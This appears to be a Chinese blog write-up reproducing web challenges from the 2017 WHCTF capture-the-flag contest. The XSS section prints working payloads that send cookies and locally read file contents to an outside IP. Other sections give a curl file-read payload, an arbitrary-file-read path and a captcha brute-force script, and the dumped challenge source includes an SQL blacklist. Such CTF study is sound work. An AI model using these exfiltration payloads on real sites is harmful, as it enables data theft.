Pr0ph3t

char nick[7] = "Pr0ph3t";

printf("https://github.com/%s\n",nick);

printf("%s\x40pr0ph3t\x2e\\\bcom\n","admin");

puts("91B6 191A C2C3 285C 201D  801B B5A3 6B56 8528 E140");

[2017WHCTF] Web详细复现(伪)WP

Sep 20, 2017 • CyberSecurity,writeup,old

这次Web。。。Orz真的做不出来啊!
所以大佬们一出的wp就赶紧屁颠屁颠去复现了。。。
复现完写下这些伪wp:(有些题目环境已经挂掉了没办法复现Orz)
本人菜鸡。。。Orz如有说错或者对题目理解错误请各位表哥一定要指正 感激不尽!


Router

emmm过了好久才发现漏了一题Orz。。其实这题是最有趣的 可惜了现在找不到啥截图了。。
首先题目提供了一个url和一个附件

首先进去目标网站先扫一下扫到export.php 进去之后下载得到一个settings.conf文件,打开之后没啥用 不知道是啥
然后附件 binwalk一下之后出现了一个elf文件,checksec一下

checksec

扔进gdb跑一下,在大概0x435f4c的位置程序会dump出一个settings.conf文件,然后在大概0x4013c3的位置栈中会出现账号密码

username and password
直接拿这个账号密码登上去是登不了的,所以拿我们在export.php下载到的文件替换掉,看看能不能读取到里面的账号密码

dump

结果读到了
pass

emmm我看其他大佬的wp里面密码是不一样的 估计是被搅屎改掉了 然后我上了之后也改掉了23333
之后在里面会有一个带有参数action的ajax交互,把action改成不存在的一个就能得到flag。。。Orz。。。逼死Web狗。。。

再说一个浩子哥哥发现的一个官方后门rce 详情:https://mp.weixin.qq.com/s/XBBx0rWZu9bAwt62F6Ai8g


CAT

  • 一开始以为这道题是常规的命令执行 然后简单的fuzz之后发现过滤了N多个字符,百思不得其解后主办方看不下去了,给了hint是RTFM of PHP CURL唔。。然后去看了挺久的手册。。发现还是没啥收获,然后思路就变成了用file协议去读文件 然后就跑偏了23333

  • 正确的思路应该是 将全部字符fuzz一遍 然后发现输入%FF报错,查看报错结果是Python Django,debug没关然后看到关键代码:

debug

这里有疑问就是为什么会有/api/ping的请求呢?
因为我们在题目中并没有这样的url可以访问
并且在ping函数之前是执行了14-21行的代码合并了一个上传的文件(???我们没上传文件呀)
结合之前django报错并不是html渲染后的结果 而是类似于PHP的show_source(特殊符号被转译)和hint 这里就有理由充分猜测后台运行了两个应用,一个是暴露给我们的PHP应用,一个是处理通过PHP发送的请求的Django 这里没有报Invalid Url错误是因为在正则之前有一个转码的过程 Django使用的是GBK编码,而我们发送的%FF并不在其编码表中有意义,(%F7也是)所以就会转码错误,抛出django的exception,不会进入下一步的正则。
而关键部分就是PHP是使用CURL来请求django应用API的,这里触及到了一个知识盲区Orz 就是CURLOPT_POSTFILES
官方文档描述如下:

RTFM

如果在请求前面加上@的话phpcurl组件是会把后面的当作绝对路径请求 结合GBK的特性如果遇到编码不了就会抛出错误的特性   也就是说如果我们去请求一个内容存在GBK不能编码的序列就能通过debug页面把文件内容爆出来,通过debug页面能得到绝对路径
emm然后比较容易想到的就是database.sqlite3文件了
- poc:
poc

(flag在右下角)
- payload:[email protected]/opt/api/database.sqlite3


Emmmm

  • 因为题目环境挂了 先挖坑。。以后搭好环境再填
  • 大佬们的做法是从phpinfo中获取到开启了xdebug远程调试,然后Vim+DBGP+xdebug进行远程执行代码

Not only XSS

  • 简单尝试了一下直接丢js代码发现是可用请求到的
<script>window.location.href="http://139.199.206.219:2333/"+document.cookie</script>

结果

然后cookie是空的
Web服务器是PhantomJS
这个服务器有一个特点---PhantomJS是无界面浏览器(headless browser)客户端 支持file协议
所以是可以读取静态文件的
然后看到Referer很奇怪 是一个静态文件?
打开这个静态文件之后发现是我们刚才发送的内容
那这里大概能猜到bot是直接打开本地静态文件的
然后思路大概就出来了 去读源码
但是现在并不知道要读哪里的源码
扫一波(自家扫描器 https://github.com/Pr0phet/ProScanner))
扫描器

扫出来flag.php 那估计是要读这里的源码了
- payload:

<script>
var xhr = new XMLHttpRequest();xhr.open("GET", "file:///var/www/html/flag.php", true);xhr.onload = function() {content = btoa(xhr.responseText);window.location.href = "http://139.199.206.219:2333/wtf.php?a=" + content;};xhr.send(null);
</script>
  • poc:

poc

base64解码后即为

<?php

$flag="WHCTF{phant0mjs_c4n_open_f1les_1n_webp4ge}";
echo "Flag is here! But nobody can got it!";
?>

ps:附上自己写的爆破验证码的脚本,效率还阔以 4位数基本在10秒之内能爆破出来,5位数的话大概也是15秒-20秒左右, 当然。。全靠运气

#coding:utf8
#Author: Pr0ph3t
# import requests
import string
import random
import hashlib
import re
import sys

#用法:python 此文件 想要爆破的验证码

url = 'http://web.jarvisoj.com:32800/'

# se = requests.Session()
# res = se.get(url)
# code = re.findall('.+substr\(\$verify,0,4\) === \'(.*)\'.+',res.content)[0]
preCode = sys.argv[1]
numToCrack = 5 #爆破的位数

i = 0
while 1:
    i += 1
    print '[*] 第' + str(i) + '次碰撞'
    testStr = ''.join(random.sample('qwertyuiopasdfghjklzxcvbnm1234567890',numToCrack)).strip()
    testCode = hashlib.md5(testStr).hexdigest()[0:numToCrack]
    if testCode == preCode:
        print testStr
        exit()

pss:对题目比较感兴趣所以把源码也读下来了
- index.php

<?php
include("csp.php");
include("conn.php");

session_start();
if(isset($_POST['name'])&&isset($_POST['verify'])&&isset($_POST['phone'])&&isset($_POST['secret'])&&isset($_POST['email'])){
    $name=Filter($_POST['name']);
    $verify=Filter($_POST['verify']);
    $phone=Filter($_POST['phone']);
    $email=Filter($_POST['email']);
    $secret=Filter($_POST['secret']);
    if($name===""||$verify===""||$phone===""||$secret===""||$email===""){
        die("Please Complete the form!");
    }
    else if(substr(md5($verify),0,5)!==$_SESSION['md5']){
        die("verify error!");
    }
    else{
        $id=md5($secret.time().mt_rand(1,100000));
        mysql_query("insert into $TBNAME values('".$id."','".$name."','".$email."','".$phone."','".$secret."',false);");
        die("Admin has got your secret and will read it soon.");
    }
}

?>
<!DOCTYPE HTML>
<html>
<head>
<title>Easy XSS game</title>
<link href="css/style.css" rel="stylesheet" type="text/css" media="all"/>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link href="css/font-awesome.css" rel="stylesheet">
</head>
<body>
<div class="wthree-dot">
    <h1>Tell your secret to me</h1>
    <div class="profile">
        <div class="wrap">
            <div class="contact-form">
                <form action="#" method="post">
                    <div class="w3l-contact-left">
                        <div class="styled-input agile-styled-input-top">
                            <input type="text" name="name" required="">
                            <label>Name</label>
                            <span></span>
                        </div>
                        <div class="styled-input">
                            <input type="email" name="email" required="">
                            <label>Email</label>
                            <span></span>
                        </div>
                        <div class="styled-input">
                            <input type="text" name="phone" required="">
                            <label>Phone</label>
                            <span></span>
                        </div>
                        <div class="styled-input">
                            <input type="text" name="verify" required="">
                            <label>verify</label>
                            <span></span>
                        </div>
<?php
$rand=generate_md5();
echo "<h2 style='color:#999999'>( PS :substr(md5(\$verify),0,5) === '".$rand."' )</h2>";
$_SESSION['md5']=$rand;
?>
                    </div>
                    <div class="w3l-contact-right">
                        <div class="styled-input agileits-input">
                            <textarea name="secret" required=""></textarea>
                            <label>Secret</label>
                            <span></span>
                        </div>
                        <input type="submit" value="SEND">
                    </div>
                    <div class="clear"> </div>
                </form>
            </div>
        </div>
    </div>
</div>
</body>
</html>

  • csp.php
<?php
header("Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';style-src 'self' 'unsafe-inline';img-src *;");
?>
  • conn.php
<?php
$DBHOST = "localhost";
$DBUSER = "root";
$DBPASS = "whctfxss";
$DBNAME = "xss";
$TBNAME = "xss";
$TBCOLUMN=Array(
    "id"=>"id",
    "name"=>"name",
    "phone"=>"phone",
    "secret"=>"secret",
    "hasread"=>"hasread",

);

function generate_md5(){
$number=mt_rand(0,1000000);
$rand=md5($number);
return substr($rand,0,5);
};

function Filter($string){
    $blacklist = "sleep|benchmark|information|order|limit|load_file|select|union|system|alter|show|outfile|dumpfile|into|execute|column|table|extractvalue|floor|update|insert|delete";
    $whitechar = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'()._*`[email protected]=+><\"{};/: ?,";
    for ($i=0;$i<strlen($string);$i++){
        if (strpos("$whitechar",$string[$i])===false){
return "hacker!";
}
    }
    if (preg_match("/$blacklist/is",$string)){
return "hacker!";
}
    if (is_string($string)){
        return addslashes($string);
    } else {
        return "";
    }
}

$conn=mysql_connect($DBHOST,$DBUSER,$DBPASS);

mysql_query("use {$DBNAME}");
?>

这里有遇到了一个问题就是poc换行之后不奏效
不知道各位表哥会不会遇到这个情况Orz


Scanner

emmm这题环境也关掉了 无法复现。。
我一开始还天真的以为flag藏在各种各样的文件夹里面。。然后就去傻乎乎的改自己的扫描器。。。(还没改完)
但是根据表哥们的wp 思路大致是这样的:
查看到可疑请求 ----http://118.31.18.64:20008/c181948a9bdee64753468823ac57a870/github.com/getimg.php?pic=xxx.png
随后跟进测试发现此php可以实现任意文件读取
读取 /etc/passwd后发现flag用户
最后读取此用户home目录下的flag


表哥们的wp

Kap0k : http://www.kap0k.com/archives/948
浩子哥哥 : https://mp.weixin.qq.com/s/XBBx0rWZu9bAwt62F6Ai8g
并且宣传一波浩子哥哥的公众号 : HenceTech

Did you like the post? Subscribe to the feed.

Thx!